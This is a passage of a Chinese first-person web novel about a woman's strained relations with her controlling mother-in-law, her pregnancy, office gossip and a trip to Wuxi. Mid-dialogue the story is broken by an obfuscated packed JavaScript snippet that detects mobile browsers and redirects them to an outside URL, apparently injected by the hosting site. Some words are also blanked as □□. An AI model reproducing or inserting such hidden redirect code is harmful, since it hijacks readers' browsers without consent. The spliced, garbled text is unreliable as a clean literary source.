“啊?”老奶奶不明所以地跟老太太说。 我说:“奶奶白白胖胖的,蛮有福相的。奶奶的脸圆圆地,眼睛大大的,跟爸爸还蛮像的。” 老太太说:“你爸爸是奶奶抱来的。他的娘生下他就死了。奶奶只有一个女儿,没有儿子,就把你爸爸抱来了。奶奶对你爸爸好的,对我不好。” 我说:“奶奶怎么对你不好的?” 老太太说:“我怀着孕,她还要去卖菜,不给我做饭。” 我说:“那你怎么吃饭?” 老太太说:“我都是去我娘家吃饭。我生完端午,也是躲在娘家亲戚那里做的月子。你放心,你以后怀孕了,我不会让你受罪的。我把你当自己的闺女看的。” 是的,在我妈妈含辛茹苦地把我养大以后,在我能够工作挣钱以后,我接触的好几个老太太都说把我当闺女看。她们没有承担抚育一个孩子长大的义务,却想享受一个长大了的孩子的孝敬。这是加勒比海盗,这是半路儿截胡。 我笑着说:“我们一直在备孕。就是没动静。过段时间,再没动静的话,我就去检查一下。不行,让端午也去查一下。” 老太太说:“没事。我们当时也是三四个月才怀上。” 顿了一下,老太太说:“男人的那个对女人的子宫好的。” 我看了看厨房,跟老太太说:“别让爸爸听见了。” 她无所谓地说:“他知道。” 顿了一下,她又一本正经地跟我说:“我跟你说,你跟端午,你们性生活以后,记得盖上肚子。” 我又出于礼貌回答道:“哦!” 我心里很无语,我不明白,老太太为什么要跟我说这样的鬼话?她跟我说这个干什么? 我打算回娘家一趟,我知道老太太知道我回娘家会不高兴。 我就试探着跟她说:“过些天,我想回趟娘家。” 她说:“开个玩笑哈。娘家不好,就不要回去了。”是的,她不是说了把我当成她闺女了吗?按照她的逻辑。我就该顺理成章地只认她,不要我自己的娘了呀。我怎么还想着我自己的亲娘,还想着回娘家呢! 小时候,我吃不上喝不上,冻死饿死,没人要当我娘。怎么等我快四十岁了,能自食其力了,突然冒出来一个老太太,要代替我的亲妈来当我的娘了!我都快四十了,我需要一个莫名其妙的老太太来当我的娘吗?一个完全陌生的老太太跑过来要当我娘,想代替我亲妈。想把我亲妈二三十年辛辛苦苦的付出给半道截胡了?我是那么好忽悠的吗?卑鄙!强势!自私!贪婪!无耻的强盗!不择手段伤天害理的人贩子! 作为新媳妇,我还是不想触犯我婆婆的凤威,我还是很想讨她的欢心,跟她和睦相处的。我有些为难地苦着脸说:“我妈妈对我也很好。她那么辛苦供我上学,她也很不容易的。她现在也老了,我想回去看看。我怕以后有了小孩儿就没有时间了。” 老太太听了我的话,阴沉着脸。不说话了。她不高兴,她不想让我去看我妈。而且是新婚婚后头一回回去看我亲妈。我婆婆,看上去毫无生气,纤声细气,你不知道她有多蛮横多强势!我后来对她的态度都是受够了她的蛮横和无理,积压了太多的憋屈以后的爆发。 正说着,端午的爸爸从厨房里出来,招呼我们吃饭。 “吃饭!吃饭!”端午的爸爸说,“大省,你坐。” 我们吃饭的时候,老太太就坐在一边,招呼我们吃饭:“大省,你吃。” 我也招呼她说:“妈妈你也吃饭。” “我不吃,我刚才烧饭的时候吃了一点。”她说。 “妈,你吃点鱼!”我说,“这鱼烧地蛮好的。” “我不吃鱼!”她说。 “那你吃点虾。”我说。 “我不吃虾。”她说,“我吃这个。你给我带来的大樱桃。” 吃完饭,端午去他父母房间里头打游戏去了,就剩我跟他爸妈三人。饭桌对面,放着电视。 “说的是台湾啊?”我说。 “嗯。台湾是民进党执政,民主党不执政。”老太太说。 “你还蛮懂的嘛?我都不知道这些。”我说。 “我天天看电视。现在是俄罗斯打乌克兰。”老太太说。 电视里,有一个小伙子很帅。 我说:“这个小伙子很帅。” “年轻嘛。”老家伙说,面有不悦之色。我心里想,端午的话到了老家伙那里。老家伙估计有些不悦。他是讽刺我老呢!哼!我是老啊,我比你儿子大八岁。可是你那个不上班的隐蔽青年大儿子,也只是比我小一岁。我跟你比,我老吗?我老也不稀罕你这样的。你以后都不能碰我的手,碰我我就恶心,就得反对。他生气?这是必然的。流氓总是有流氓的一套。别管他,你要做的,是表明你的态度。流氓死不要脸,你得逼着他要脸。 婚后的端午节,端午要去旅游。 “去哪儿呢?”我问他。 “去上海,我的一个同事在那里。”端午说。 “我不想跟你那个同事牵扯。我们玩我们的,找他干什么。”我说。 “见了面一起走走!”端午说。 我们一起到了高铁站,点开高铁站的售票机一看,来回要很多钱。 “妈呀,来回路费太贵了。不去上海了吧。”我说。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137811|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那去哪?”端午问。 我说:“去无锡吧。我想去看看太湖。” 端午说:“好的。” 我们很快到了无锡。 “我想去鼋头渚。”我说。 “好!”我们打上一辆车,很快到了鼋头渚。 “鼋头渚”三个大字横在眼前。 “□□渚到了!□□渚!我要去拍个照!”端午说。 “是鼋头渚。”我说,“我来给你拍!” 我们来到“鼋头渚”三个大字前,端午站好,我给他拍照。 “把你的墨镜戴上吧。”我说。他戴上墨镜,我发现,镜头里的端午虽然瘦瘦的,但是比我好看多了。我多大了?我都三十七八了,半老徐娘了。一身的大妈气。我开始喜欢给端午拍照了。端午其实不是很想拍照,可是我觉得他拍照好看。非要给他拍照。端午像个怯生生的小男孩儿一样,看着我的镜头。我们走一路,我给他拍一路。见水拍水,见树拍树。我们坐上了去鼋头渚的游艇,又到了飞行体验馆,一天下来,玩地很欢。到了晚上,又去了人头攒动的步行街,坐了坐小汽车。 该住宿了,我们寻寻觅觅,终于还是到了临街的一家小旅馆。定了一个很小的房间,一个晚上一百八十块钱。我们七拐八拐地绕过一个个木板房的格子间终于找到了那个地方。放下东西,我们去吃晚饭。到了马路对面,点了两份炒饭,端午饥肠辘辘,捧起碗就吃。饭后,我看见了打折的水果拼盘,买了两盒带走。到了旅馆,端午先去洗漱。等我出来以后,他已经躺在床头玩手机了。我买的那盒水果,被他放在床头柜子的最下端,用来放拖鞋的地方。 我赶紧蹲下身,把那盒水果拿上来。 “你怎么能放在这儿呢?这儿是放拖鞋的地方,多脏啊?你没闻到臭味啊?这是吃的东西啊,你怎么不放在柜子上头啊?”我说。 “没关系。盒子里有水,我怕放在上头把手机弄湿了。” 我有些不能理解。我把那盒水果拿去水龙头那里冲了冲,洗了洗。 “哎呀,今天玩地太累了。我困了,睡吧睡吧。”端午说。他很快就睡下了。我也蛮累的,我也就跟着睡了。 半夜的时候,隔壁的房间里来人了。一男一女,小声儿的说着话。我听不太清楚。然后听到水龙头“哗啦哗啦”的声音,然后听到我不该听到的声音。他们的声音很小,并没有很放纵,一阵阵儿的,只听到那女的在小声儿的回应。我有些清醒,端午还在呼呼大睡。过了一会儿,那一对儿竟然走了。我听到他们说着话关门出去的声音,然后,他们的房间里恢复了太平,再也没有声音了?这是怎么回事?一男一女,深更半夜的? 第二天,我跟端午说:“昨天半夜,隔壁进来一男一女,洗个澡,交流了一会儿,不到一个小时,就匆匆忙忙地走了。我怀疑他们不对劲。无论是情侣还是夫妻,都不至于深更半夜的,很快就走啊?他们是不是偷情的啊?” 端午说:“是不太对劲儿。可能是偷情的。你都听到了啊。” 我说:“我听到了啊。” 端午说:“你怎么不喊我,大家一起啊?” 我说:“你那时候睡地正死呢,喊你也没劲儿。我喊你干嘛。” 这本是一段小小的插曲,可是后来,我想起这事儿,才知道,这唯一的一次旅游,其实暴露了我们之间很大的问题。端午做事随心随意,我对一些小事又很介意。他很容易累,他总是很累,一到晚上,倒头就睡。夫妻之间,琴瑟并不和谐。我们从头开始,就称不上是什么恩爱的夫妻。这是我们之间存在的精神上和身体上两个最核心的问题。这个问题后来一直伴随着我们,让我们的婚姻无关风月,不痛不痒,个中滋味,不可言传,只可意会。 3.婚后第一次回娘家,我婆婆不高兴了 清灵走了,办公室里,没有资格的就数我和郝跃了。 郝跃说:“清灵走了多久了?” 我说:“有几年了吧。” 郝跃说:“他走了也好。省得在这里,活地太压抑。” 我说:“清灵心态好,你看他每天说说笑笑,每天都很快乐。” 郝跃说:“快乐什么呀?他前几年得罪了一个同事,人家是任社长的亲戚。任社长一句话,他永远都不会升职了。” 我说:“他是怎么得罪了任社长的亲戚的?” 郝跃说:“具体的不清楚。可能是清灵说了什么不该说的话呗。他跟杨编辑也不对付。杨编辑在领导跟前能说他好话啊。” 我说:“没办法。人在屋檐下,不得不低头。” 郝跃说:“是的,胳膊拧不过大腿去。你有什么办法。” 我说:“我是独来独往,你知道的。你跟她们不是挺好的吗?” “我跟她们好?我怎么可能融入她们的圈子。”郝跃说。 “是的。我早就知道。即使我想融入她们,也融不进去。人群堆里,人家一眼就看得出来,谁是大爷,谁是孙子。我与其在这群大爷里头充孙子,好让她们摆出大爷的范儿,还不如独来独往,做我自己的女王。”我说。 “我想跟清灵联系,他不搭理我。”郝跃说。 “那你就不要联系他啊!”我说,“为什么非要联系他呢?” “为什么不能啊,为什么大家不能在一起好好说说话。他觉得他走了,我们会看不起他。其实,我们并不会这样想。”郝跃还是不甘心。 我说:“人家既然经历了痛苦,好容易自愈了,你往他跟前蹭,又提起以前的伤疤,人家当然不高兴了。人家清清净净地不好吗?我就不去找他聊天。有什么好聊的啊。你跟我聊,跟其他人聊,还不够啊。为什么非要跟他聊呢?我不像你。非要扒着他。我知道他,欣赏他,放在心里就够了。不一定非要跟他说什么。” 其实,这话我只说了一半。郝跃这个人我太清楚她了。她为什么要联系清灵?除了清灵跟我们一样,都是处于《小坛》金字塔的最底层。另一层原因,是清灵走了。以普罗大众的理解,是混地不如暂时还在《小坛》的她了。郝跃跟他联系,是一个混地不好的底层人去找另一个比她混地更惨的底层人,以此来获得优越感和心灵的安慰。包括后来,她跟我联系。也是同样的道理。这是郝跃的心理,也是典型的可悲的小人物的心理。自己处于弱势的时候,再找一个同样的甚至混地更差的弱势群体。高兴了呢,报团取暖,惺惺相惜。不高兴了呢,又可以居高临下地呲哒呲哒对方,揭一下对方的伤疤踩对方一下,来获得从别人那里得不到的优越感和自豪感。 郝跃这个人,她的灵魂是不稳当的,她是可以在正人君子和小人之间灵活切换的。 不止郝跃,很多人都这样。很多底层的可悲的小人物都这样。可是,清灵不接她这茬儿!哈哈!清灵早就看透她了!清灵的做法是对的! “呵呵!你看你说的。”郝跃说,“说实话,你是不是喜欢清灵。” “郝跃,我结婚了。”我说。 “啊?”郝跃惊讶地说。她大概没想到我能这么快就能找到,她大概是不希望我这么快就能找到。按照她对我的贬低和祝福,我大概是一辈子也找不到的。 “什么时候结婚的?”她问。 “今年五月份。”我说。 “那挺好的。”郝跃说,她顿了一下,稳了稳心神,从刚开的惊慌中冷静下来。 “开始备孕了吧?”她问我说。 “是的。还没有动静呢。”我说。 “我那时候也是过了三四个月才怀上的。越是着急越是不容易怀上。等你不想这事儿了,反而容易受孕。”郝跃说。 “也许吧。这阵子压力太大了。”我说,“又要搞末位淘汰,又要恐吓着流动、走人。几把剑悬在头顶上。” “你身体好,你不怕,我现在是身体不好。否则我也不怕。”郝跃说。 “你放心吧,你比我早来一年,要走也是我走。”我说。 “我身体不行,遭人家嫌弃的。”郝跃说。 “那我们俩就一起走。”我说。 “他们不会一次用两颗棋子的。他们得留着慢慢地用。看看哪天来个某某的亲戚,或是某某的夫人,就用我们其中一个来替换她!”郝跃说。 “他们还得留一颗活子啊!”我笑着说。 “嗯呐!”郝跃说,“我那时候□□有点低,还有点先兆流产呢。我后来就请假保胎,连吃饭都是在床上吃的。” “在床上吃?怎么吃啊?”我问她。 “我买了个小桌子。放在床上。” 郝跃说,“我是剖的。你到时候肯定也是剖了。” 我说:“嗯,多半儿会剖吧。我妈妈以前就跟我说,女的年纪大了生孩子,骨缝儿都不开了。” 郝跃说:“我剖的时候我婆婆还给麻醉师塞了一千块钱的红包呢。” 我说:“你婆婆真大方,她也有钱。我婆婆估计不会。” 郝跃说:“我婆婆是医生。她是部队大院里的,从小家庭条件就好。你婆婆是哪里的?” 我说:“她家是白陆的。农村的。” 郝跃说:“你老公是干什么的?” 我说:“他就是在厂里上班的。他工资不高。他唯一的优势就是比我小。” 郝跃说:“他多大?” 我说:“他92年,属猴的。比我小八岁。” 郝跃说:“那你赚了呀。” 我说:“嗯,我也觉得是我赚了。不过,还有人觉得是他赚了呢。” 郝跃说:“是的。你有文化,工作又稳定,工资又高。确实是他赚了。” “人就是这样,看你在乎的是什么吧。”我说,“我就是想找个年轻的。” “我老公也是企业的。你跟她们不要说这些。人家老公工作都好。你跟她们说了,她们会瞧不起你。还会拿捏你的。” 郝跃说。 我说:“好的。她们还好吧。我其实无所谓。我觉得我老公比她们老公年轻,比她们的老公都要清纯啊。她们有钱又怎么样,一个个地都是油腻大叔了。我才不羡慕她们呢。” 又一次家庭聚餐的时候,我跟老太太说:“我想回去看看我妈妈。自从结婚我都没有回去过。我想回去一趟。等以后怀孕了,有小孩子了,还不知道什么时候能回娘家呢。” 老太太不高兴地斜着她的小眯缝眼儿说:“开个玩笑,娘家不好,就不要回去。”我心里就不高兴了。我婚后第一次回娘家,她居然不让我回? 我说:“我妈妈也不容易,我还是回去看看她。” 老太太说:“等以后有了小孩,我们一起去!” 死老太婆,她这是把坏心眼儿放在头里,怕我妈妈不让我跟她儿子呢。 老太太又出骚主意了,她眉开眼笑手舞足蹈地说:“开个玩笑,业余时间,你开个辅导班!辅导小孩子!” 我为难地说:“我是学中文的,人家小孩子很少有补语文的。再说,我也不会给人家补课。而且,现在明文规定,不能给人家补课。” 老太太听了我的话,皱了皱眉,低下头,沉着脸,不说话。因为牙齿的缘故,她低着头,抿着嘴不说话的时候,她的两腮是鼓着的。我知道她是不高兴了。她大概觉得我说地都是假的。要不就是我没本事。 这老太太,开始给我施压了。感情我除了上班赚钱还不够,我还要加班加点给她家赚钱。她把我当成她家赚钱的机器了。我没办法给人家补课,她还不乐意了。她狗屁不通,胡说八道,我还跟她解释不清了。我这一不小心又让婆婆大人不满意了。这昏头顽固的老太太,我要是软弱无能,她不知道多会骑在我头上拉屎拉尿呢。 老头子在这一点上倒是比她明事理:“现在就是不允许补课,辅导班都停了。” 老太太还是不想善罢甘休。她说:“那人家宁宁家的怎么补课的,一年赚大些钱!” 这老太太,太昏庸太蛮横太霸道了!我登时对她好感全无了。 跟端午回家以后,我就不开心了。 我说:“她凭什么不让我回娘家,我婚后头一回回娘家,她居然不让我回去!” 端午上来就向着他妈妈说话:“我妈妈怎么可能说这话!” “她没说吗?她说了几次!”我说,“我一直尊着她,敬着她,对她服服帖帖地,她就以为我好拿捏了。我回个娘家,她也阻拦!我回个娘家,得顶着这么大的压力?她想骑在我头上是吗?她下手也太早了吧?就是天底下最坏的恶婆婆,也得允许儿媳妇婚后回娘家吧?她想控制儿媳妇?没门儿!太拎不清了!这样的老太婆,我没办法跟她好好相处!” “滚!”端午说。 我说:“我当然得滚了!我想回娘家,你妈不让我回,催着我赶紧为你家赚钱,她倒是蛮积极的。关键我没办法给人家补课啊。现在明文规定不能给人家补课!你妈还不乐意了!” 端午说:“我妈什么时候不乐意的?” 我说:“她摆臭脸子给我看!说话给我听!你当然看不到了!怎么办?为了达到你妈的目的,我得顶风作案?让人家把我给抓起来?让我丢工作?呵!你妈真会盘算!我业余时间也不能休息,我连娘家都不能回,我得老老实实给你家赚钱!感情你妈找我这个儿媳妇是看上我的钱了?她想从我这棵摇钱树上,摇下更多的钱,否则她就不高兴了?你妈太蛮横太霸道太贪婪了!” 端午去洗澡了,我一个人坐在床上剪指甲。端午洗完澡又过来了。他看我在剪指甲,就去摸着我的脚指头说:“我看看,没事吧。”我看他一副小心翼翼的样子,也就不跟他闹了。 我以为我跟端午发发脾气,发泄一下就拉倒了。 结果端午给他妈妈打电话了:“你让她不要回娘家的?” “没有啊!”老太婆矢口否认,她当然不承认。她们家的人都这个德性,她说的话你得录音录像,否则她死不承认! 然后,她就给我发了信息:“大省,对不起,妈妈错了,你回家我没意见。”噢,做错了事情还知道认错,一个老人家还能这样,真不赖。我也就拉倒了。 我也发信息跟她客气客气地说:“妈妈,没什么,我就是想回去看看我妈妈,端午跟我吵架,他生气了,他是向着你呢。” 第二天我们去他爸妈家吃早饭。他妈妈在厨房忙碌,我照样跟她打招呼,可是我的脸色始终晴不起来。是的,我能感觉地到,那天,我的脸是黑着的。我这人,开始的时候,总是对人很好,很尊敬,很客气,非常不愿意逆着对方的心意。可是这样一来,对方往往会觉得我好欺负,好拿捏。等对方对我太过分太不讲理的时候,我想不通,想不开,就再也不想理对方了。 饭后,我去里间跟端午说话的时候,她就自己在桌子上吃吃饭。她吃完饭,去上班了。 端午爸爸说:“你别跟妈妈计较。” 我说:“我是婚后头一回回娘家,妈妈不让我回去,我想不通。我妈再怎么样那也是我妈。不能因为我结婚我妈妈不来,我就跟她断了情分。老的即使有什么做地不到位的,我也不可能彻底对她不管不问。我跟你们也是这样。” 端午爸爸说:“是的,去看看你妈,这是本分。”端午爸爸说话倒是很到位。女儿看望自己的母亲,这个是人伦是本分,为什么我的婆婆她就不理解,要阻拦呢。 饭后,我们去钓鱼了。端午父子俩,就像什么都没有发生一样,开开心心地钓鱼。我端着手机到处走走、拍照,看看地里翠绿的无花果树,看看端午,我很开心,不停地给他拍照。端午穿着浅绿色的短袖,和白色的休闲裤,清澈的像河畔的青草。 巴掌大的鱼塘,不大,很小,像是村头的一个小小的藕汪。端午站在青青的草丛里,头顶是翠绿的枝条,枝条里露出他白皙的目不转睛的脸,像极了森林里的一头小鹿,顶着俊秀的灵角,睁着晶莹的眼睛,悠然前行,人去鹿还在,人来鹿不惊。 那鱼塘不大,是私人的鱼塘,人家专门养的黑鱼,投放了很多鱼食,鱼儿很快就上钩了。 “呀呀!”我惊叫着,一条大鱼上钩了。我挑着长长的鱼竿,一时笨拙地不知道该把鱼竿往哪儿放。端午的爸爸走过去,把那条大黑鱼从鱼竿上拿了下来。 我最先钓上来一条最大的黑鱼。这是个好兆头吧。端午高兴地看了我一眼。接着,端午钓了一条小一点的,他爸爸钓了一条最小的。 夏天,湖里的荷花开了。我叫上端午一起去,又给他拍了一组“荷花”专辑。从这个时候起,我就感觉到自己老了。再怎么打扮都透着一股子大妈味儿。所以我开始不爱拍照了。我爱给端午拍照。年轻人,小孩子,怎么拍照都是美的。当然,老年人戴着丝巾、眼镜,拍照也美。但是,我不想要那种美了。后来,我把春夏之际给他拍的照片发到淘宝上,给他定制了一本相册。 过了几天,我回娘家了。回娘家几天照样是帮我妈妈剥蒜。 我快走的时候,跟我妈妈说:“妈,您开上你的三轮车,带上我,咱去青羊山,再给你买点东西吧。” 我妈妈说:“不要买了!你这几天买的东西,我都吃了,吃足了!” 我说:“没事儿,去吧。我难得回来一趟,也花不了多少钱。你平时自己也舍不得买。” 我妈妈说:“那行吧!”我妈妈开着她的三轮车,带着我去了青羊山超市。到了青羊山超市,我妈妈停下了车,我先下来了。 我看我妈妈坐在电动三轮车上。我说:“哎!妈妈!你这个开车的样子霸气的,我给你拍张照片。” 我妈妈说:“行!”她就端端正正坐在三轮车上,两手握着三轮车把手儿,两眼一动不动地看着我,一副很威武的样子。我蹲下身儿给我妈妈拍了照。我拍完照片,把照片发给了端午。 “你妈妈很大气。”端午说。 “那是!”我说,“比你妈妈大气多了。” 我跟我妈妈到了超市里。超市里头,摆着各种红色的礼品盒。 我跟我妈妈说:“妈,超市里头背景蛮好的,我再给你拍个照片。”我妈妈听了我的话,又信心十足地站定,等着我给她拍照。我妈妈的样子显得既正式又呆萌,我忍不住笑了。 我说:“妈,咱家环境太差了,都没有办法给你拍照。我看咱家还是那样,那些破烂你怎么就是舍不得卖的?俺都长大了,都用不着了。” 我妈妈说:“哪是哎!那些破烂都卖了,俺跟鸿雁一块儿去卖的。拉了两拖拉机!” 我说:“卖了?我怎么看的一点都没变的?还是那样儿的?” 我妈妈说:“这些都是我挑过的,剩下的。” 回来以后,我们继续备孕。但是那个夏天,我过地很郁闷。我被端午的妈妈搞得抑郁了。我郁闷的是,她居然能荒唐到不让她新婚的儿媳妇回娘家,她怎么能这样说,实在是让人想不通,说不通啊。我本来是想跟她好好相处的。我想跟她互敬互爱,可是她居然阻拦我回娘家,我怎么能接受呢。我不接受,就把她得罪了。 这以后,我跟她的关系彻底变味儿了。这个老太婆,看起来温温和和,毫无中气,咿咿呀呀地,内里却是蛮不讲理,说话做事挺让人想不通的。她不让我回娘家,我跟她闹,她表面上跟我道歉,心里肯定不高兴啊。才刚刚结婚呢,婆媳关系就不和谐了。我真地很郁闷。我郁闷的是,她的不讲理,把我们本来和谐的婆媳关系打破了。谁不想好好地呢。谁想一开始就把婆媳关系给闹僵呢? 我后来慢慢想起来,我们结婚的时候,老太太跟我说,只请端午爸爸家的亲戚,端午姥姥家的亲戚一个没请。我那时候没有多想什么。现在想想,老太太的娘家兄弟姐妹六七个,不可能一个都不好吧。我妈妈常说,人到九十九,留着娘家走后手。老太太怎么跟娘家人一个都不走动呢。南方这边,一到过年,最重要的事就是拜舅舅了。为什么端午从来不拜舅舅呢?老太太昏庸懦弱,不可能跟她的娘家起太大的纠纷,听说她以前生端午坐月子,还是躲到她娘家那边的亲戚家的。唯一的可能就是端午的爸爸看不惯老太太的娘家,让老太太不要跟娘家走动,老太太父母故去,自己又昏懦不坚持正义,就这样跟自己娘家姊妹兄弟断了联系了。 我又想到,之前端午的妈妈反复跟我说的娘家不好,就不要回娘家的话。我当时只知道怪老太太,觉得还是老头子比较通情达理。现在想来,管住老太太,不让老太太回娘家,很可能是老头子的主意。我婚后头一次回娘家,老太太不让我回。这背后说不定也有老头子的授意。 老头子控制了他老婆子跟他儿子一辈子,现在想控制我?没门儿! 4.我婆婆要把我孩子带走 八月份我没有如期来例假。 我跟端午说:“我这个月还没来例假嘛,都拖了半个多月了。” 端午说:“你怀孕了。” 我还是不太相信。我说:“不可能吧,也许是因为换季呢。我以前在换季的时候,大姨妈会晚来半个月。我跟那个阳痿一起没有孩子,我都怀疑我自己了。我要是再不怀孕,我就去医院找中医调理调理。” 端午出于无奈还跟我剧烈运动了一回,事后有点出血,我还是不太相信我已经怀孕了。 我从厕所里出来以后,跟端午说:“我怎么出血了啊?” 端午说:“你肯定怀孕了。” 我说:“不可能吧。也许是摩擦出血的呢。” 第二天,端午上班去了,我自己测了一下,妈呀。两条杠。我真地怀孕了。我当时紧张地要晕了,更多的是忐忑,害怕。这么多年,我是头一次怀孕。从此,有一个小生物要驻扎在我的子宫里了。我胆子很小,以前听过的那些关于妇科的、生产的可怕的案例,都让我紧张地发慌发晕。我陷入了巨大的紧张的茫然里。我屏住呼吸,拍了张照片给端午看,告诉他我怀孕了。 第二天是七月十五,星期天。 端午说:“我要跟我爸妈一起去上坟。” 我说:“我就不去了。我本来也不喜欢那种地方。我一直不去也不急。你妈妈肯定要去。那种重大的场合,她肯定要去表演的。” 端午说:“嗯。你肯定不去了。你就在家。” 七月十六,星期一,我自己去了医院检查。 “B超显示,你已经怀孕56天了。胚胎发育很好。”医生说。 “因为之前有些出血,我不太放心。”我说。 “那你就买点□□吃。最近几天要好好休息。不要有剧烈运动。”医生说。 我想起了郝跃说的,她的□□有点低的话。我不敢乱吃药,就去抽血检查了一下□□。 “一切正常。”化验室的医生说。 “那我就不用吃□□了。”我说,“怀孕了乱吃药不好吧。” “不用吃药。”化验室的医生说。 我还是自己去菜场买菜、做饭。端午回来,我们一起吃饭。 一天,端午的妈妈从她的冰箱里拎来了一大包冻鱼、冻虾来了。 “大省,这个给你吃。”她跟我说。 我出于礼貌,跟她说:“好的。妈妈。我们想吃什么可以自己买,你以后不要带这些了。” 她说:“好。” 一天,我们去端午家吃饭。 饭桌上,我公公兴致勃勃地说:“大省吃黑豆吗?人家说吃黑豆对宝宝眼睛好的。” 我不知道他说的黑豆是黑色的大豆,还是豆角里头的黑色的豆,反正就是一种豆。 我说:“我不想吃。” 端午也说:“不吃不吃!什么黑豆!谁要吃啊!” 端午的妈妈对于我吃什么是从来不敢吭声儿的。她只会说那些既能炫耀她的足智多谋,又能给她省钱的话。 我说:“妈妈,你们冰箱里囤的那些冻鱼、冻虾,以后不要给我了。你给我了,我还得解决。我用冻鱼烧汤,煮出来,肉都不新鲜了,跟石灰似的。我扔掉吧舍不得,烧了吃,又不好吃。我现在怀孕了嘴刁的。我都是吃现杀的小鲫鱼。” 她说:“好的。” 她顿了顿说:“宝宝属虎,端午属猴,两个人属相相克。我回头把宝宝抱到我们这里来。” 我的心里“咯噔”一下。老太太要把孩子抱回她老家抚养,我肯定是舍不得的。 我说:“小孩子还是跟妈妈一起比较好吧。” 她说:“那怕什么的。端午小时候,因为计划生育,就是他姑姑给养大的,我们出钱给他姑姑家,他姑姑一直把他养到三岁。后来他姑姑死了,我们才把他带回家。要不是因为他姑姑死了,我还不把他带回来呢。” 我说:“你怎么不把他带回来自己养呢?” 她说:“我带不了。我还要干活,不干活没得七(吃)。” 我说:“端午的奶奶不能帮你带吗?” 她说:“她不给我带。” 我说:“你把端午给他姑姑养着,你不担心吗?人家能跟亲爹亲娘一样疼他吗?” 她说:“担心什么的?那是他嫡亲的姑姑。他姑姑家也有小孩儿,他姑姑跟他姑父两个人,一起带。” 我说:“人家家里也有小孩儿,那就更顾不上他了。人家怎么可能拿着他跟自己亲生的孙子一样疼呢。” 端午的妈妈说:“人家拿着他好,跟自己的小孩一样的。” 我说:“人家养他还得要钱,怎么可能跟亲生的一样呢。端午那么小,亲生的爸妈不在跟前,多可怜啊?” 端午的妈妈说:“有什么好可怜的。” 端午的爸爸说:“宝宝的名字起好了吗?” 我说:“还没想好呢。” 他说:“起名字还是听你们的。你们有文化,也懂教育,我们不懂。” 端午的妈妈沉着脸不吭声儿,我知道,让我们起名字,不听她的,她又不高兴了。她是自觉她最英明最睿智最渊博,应该由她来起名字的。任何时候,她都觉得她是最棒的。 回到家,我想着想着就哭了。我还刚刚怀孕,老太太就说以后要我母子分离,我有些担心,有些害怕。父亲属猴,宝宝属虎,到底相克与否我不知道,老太太根本不跟我商量,就自作主张,要把孩子抱回她老家抚养,她怎么那么霸道、专制。 我这个人胆子小,凡事想在前头,既然老太太说了这样的话,我想想我刚生下孩子,她就要把孩子抱走的样子,我就心痛、难受。我的眼泪“哗哗”地往下掉。我自小远离父母,最难忍受母子分离之苦。我们新婚之初,老太太让我不要回娘家看望我的母亲,我怀孕之初,她又扬言要把我的孩子抱回她家去。她把孩子抱回她家去,她可是轻松自在了。我怎么受得了母子分离的痛苦呢?她为我着想了没有?老太太怎么那么喜欢拆散别人母子关系,她怎么那么喜欢让别人母子分离呢? 就这样,老太太就这样用她自以为是的三言两语,败光了我对她所有的好感。 我怕到时候,出现这样的场面我没有办法承受。我要确定,到时候老太太不会这样做。我就给老头子发信息。据我判断,老头子很多时候还是比老太太明事理。 我说:“爸爸,妈妈说,等我们小孩子生下来,她要把孩子抱回老家,这个我不能接受。我从小就吃够了远离父母的苦头,我的孩子,我肯定要看在身边,我每天上下班都能看着他。妈妈要把孩子带回老家,我肯定受不了。我会想小孩子。现在,很多奶奶都是跟着儿子媳妇带孩子,这也很正常,我不知道妈妈怎么那么喜欢让别人母子分离。” 端午的爸爸很快回复说:“大省,你放心。我绝对不会让这样的事情发生。” 老太太也很快发来了信息:“大省,妈妈错了。妈妈不把孩子带回来了。” 这个老太婆,说话独裁专制,非得等到别人反抗的时候,她再温温柔柔地道歉。这是什么绿茶?我不需要你跟我道歉,我只想你说话做事,有个人心,有个人性。你就算自己没有人心,没有人性,你为我考虑考虑。我十月怀胎生下的孩子,娇娇嫩嫩的孩子,你生生从我怀里抢走,我受不受得了?听说,端午,是你放在他姑姑家养的。你觉得这样很好,你一点都不想念,你非常放心。你跟你的孩子骨肉分离,你无所谓。那是你。我儿女心重。我说什么都要孩子在我身边。你把他抢走带走我受不了。 至此,我跟老太太的关系已经处于尴尬的境地了。通过这两件事,我已经对她无话可说了。她给我的是深深地打击,她给我的印象是昏庸、无理。 38. 黄社长 1.黄社长 端午的大伯七十岁大寿,我们一起去吃饭。 饭桌上,人家问我们:“几个月了?” 我正想说话,端午竖起三根指头:“三个月!”他回答的样子正是我喜欢的样子。 端午下班太晚,还要开车回来。他也不会做饭。这段时间,还是我推着自行车买菜,做饭,等到周末了,端午就陪我去买菜。我买菜都是买够吃三四天的,排骨、鱼头,蔬菜水果玉米,挂满了两个车把儿。用自行车推着,带到门卫室,等下班的时候再推回家。 门卫对我特别好,蒋师傅大老远儿看见我,就过来接了。 “小宋,我来我来!”蒋师傅拿着我的菜往传达室里走去。 “我给你放到里边儿哈!你下班来拿!”他说。 “好的,谢谢蒋师傅!”我也跟他们客客气气!对门卫恭敬,比对别人恭敬来的实惠。我对别人恭敬,别人觉得是应该应分,也不会对我好,越发要拿我当孙子。我对门卫恭敬,门卫很高兴,人家就热情地实实在在的帮助我,拿我当高高在上的人。 我拿了重东西,人家给我帮忙拎,我骑着自行车上班,要迟到了,人家用遥控“哗啦啦”给我开个大门儿,我“嗖”一下就冲到了大门里。哪个门卫师傅都对我很好。江师傅,蒋师傅,都是对我高接远迎,我在门卫那里得到了真正的热情和尊重。 蒋师傅帮我拎着菜,正要往门卫室里放的时候,大门口突然来了一条小蛇。我有点害怕。蒋师傅手里拎着菜,一时间不知道是去放菜呢,还是去驱赶那条小蛇。他身边一时也没什么工具。 “让它走吧!”蒋师傅说。 下午,我去上班的时候,带了一大串葡萄去。蒋师傅正坐在窗口呢。 